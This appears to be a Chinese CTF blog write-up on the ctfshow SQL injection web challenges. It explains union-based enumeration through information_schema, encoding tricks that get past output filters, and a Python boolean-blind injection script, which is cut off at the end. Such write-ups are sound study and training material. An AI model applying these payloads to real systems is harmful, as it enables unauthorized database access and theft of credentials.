前言,感谢y4师傅详尽的教程[CTFSHOW]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客_ctfshow sql注入
sql注入的产生:
php中对数据库的操作非常简化,只需要一串sql语句的字符串,之后将这个字符串传入mysql_query这个函数就能进行数据库的操作,因而如果对用户传入的参数不进行严格的过滤,或者通过预处理之类的手段严格限制传入的参数,就会造成sql注入漏洞,执行用户自定义的sql语句。
MySQL5注入的一般流程:
获取字段数-查库名-查表名-查列名-查数据
获取字段数:order by 临界值
获取库名:database()
表名和列名没有内置函数 怎么查?union语句:将不同表的两个列查询的数据去重拼接
union all :不去重获取MySQL版本:version()
MySQL5.0以下版本只能和access数据库一样猜解
而MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名
information_schema.tables 记录表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段
table_name 表名
column_name 列名
查表名:
SELECT table_name FROM information_schema.tables where TABLE_SCHEMA=database();
查列名:
SELECT column_name FROM information_schema.columns where TABLE_name=‘users’;
查数据:
select 列名 from 库名.表名MySQL5以上的sql注入
分类的方式有很多,根据sql参数的类型可分为字符型和数字型。
根据传参的不同可分为:
get型,较为常见的一个类型,php通过$_GET[]获得参数
post型,类比与get型,通过$_POST[]获得sql参数
cookie型,$_COOKIE[]
http型,利用$_SERVER[]获取传入的http头部信息,处理之后传入sql语句拼接。
一些讲解:
X-Forwarded-For
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。实例:
一般先判断注入是数字型注入或者是字符型注入
?id=1+1如果成功返回数据则为数字型注入,如果在url后拼接
?id=1 and 1=1
orand 1=2
分别正确错误则说明为字符型注入数字型:
首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3
查当前数据库名,版本,用户
url?id = 1 union select database(),version(),user()
查询有什么表
url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()
查询列名:
url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'
查询数据:
url?id = 1 union select id,username,password from users
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
一个字符串型注入,走一个流程
payload:
爆字段数:
1' order by 4 --+
此时报错,因而字段数为3
看回显位置
1' union select 1,2,3 --+
得到回显,爆破当前数据库名,版本,用户
1' union select database(),version(),user()--+
查询当前数据库有什么表,因为表数量可能过多因而用group_concat来整合成一个
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可以看到只有一个ctfshow_user的表
查询表中的列名
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
查询表中的数据
1'union select id,username,password from ctfshow_user --+
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
题目给出了这次的表是ctfshow_user2
直接查询就好,查询结果不能有flag,通过编码绕过to_base64(),hex()
1' union select to_base64(username),hex(password) from ctfshow_user2 --+
Zmxh啥的一看就是flag,直接转码即可
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
尝试编码绕过
-1' union select to_base64(id),to_base64(username),hex(password) from ctfshow_user3 --+
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
上题的思维是利用base64,会出现数字,群主给出的方法是利用replace从0-9用特殊单词进行替换,y4爷利用盲注直接梭了,
# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
这里过滤了返回的结果中所有的ascii字符
没有回显了基本就尝试盲注,这里还有个解法二是用文件读取
盲注:
# @Author:Y4tacker
import requests
url = "http://25bc7c61-d36e-4ca2-9d01-6a75a5c08ee8.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head